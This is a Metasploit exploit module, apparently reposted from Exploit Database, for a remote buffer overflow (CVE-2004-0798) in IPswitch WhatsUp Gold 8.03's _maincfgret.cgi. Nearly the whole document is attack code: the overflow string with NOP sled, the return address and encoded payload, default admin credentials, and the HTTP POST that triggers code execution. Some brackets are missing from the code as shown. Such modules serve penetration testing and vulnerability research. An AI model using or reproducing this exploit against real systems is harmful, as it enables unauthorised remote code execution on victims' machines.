IPSwitch WhatsUp Gold 8.03 – Remote Buffer Overflow (Metasploit)

Exploit Database
141 阅读

作者： Metasploit

日期： 2010-07-14
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16787/

# $Id: ipswitch_wug_maincfgret.rb 9820 2010-07-14 13:59:38Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GreatRanking

# [*] x.x.x.x WhatsUp_Gold/8.0 ( 401-Basic realm="WhatsUp Gold" )

HttpFingerprint = { :pattern => [ /WhatsUp/ ] }

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})

super(update_info(info,

'Name' => 'Ipswitch WhatsUp Gold 8.03 Buffer Overflow',

'Description'=> %q{

This module exploits a buffer overflow in IPswitch WhatsUp Gold 8.03. By

posting a long string for the value of 'instancename' in the _maincfgret.cgi

script an attacker can overflow a buffer and execute arbitrary code on the system.

'Author' => [ 'MC' ],

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 9820 $',

'References' =>

[

['CVE', '2004-0798'],

['OSVDB', '9177'],

['BID', '11043'],

'DefaultOptions' =>

{

'EXITFUNC' => 'thread',

'Privileged' => true,

'Payload'=>

{

'Space'=> 500,

'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",

'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",

'Platform' => 'win',

'Targets'=>

[

[ 'WhatsUP Gold 8.03 Universal', { 'Ret' => 0x6032e743 } ], # whatsup.dll

'DefaultTarget'=> 0,

'DisclosureDate' => 'Aug 25 2004'))

register_options(

[

Opt::RPORT(80),

OptString.new('HTTPUSER', [ false, 'The username to authenticate as', 'admin']),

OptString.new('HTTPPASS', [ false, 'The password to authenticate as', 'admin']),

], self.class )

end

def exploit

c = connect

num = rand(65535).to_s

user_pass = "#{datastore['HTTPUSER']}" + ":" + "#{datastore['HTTPPASS']}"

req = "page=notify&origname=&action=return&type=Beeper&instancename="

req<< rand_text_alpha_upper(811, payload_badchars) + "\xeb\x06"

req<< make_nops(2) + [target.ret].pack('V') + make_nops(10) + payload.encoded

req<< "&beepernumber=&upcode=" + num + "*&downcode="+ num + "*&trapcode=" + num + "*&end=end"

print_status("Trying target %s..." % target.name)

res = send_request_cgi({

'uri'=> '/_maincfgret.cgi',

'method' => 'POST',

'content-type' => 'application/x-www-form-urlencoded',

'data' => req,

'headers'=>

{

'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"

}

}, 5)

handler

end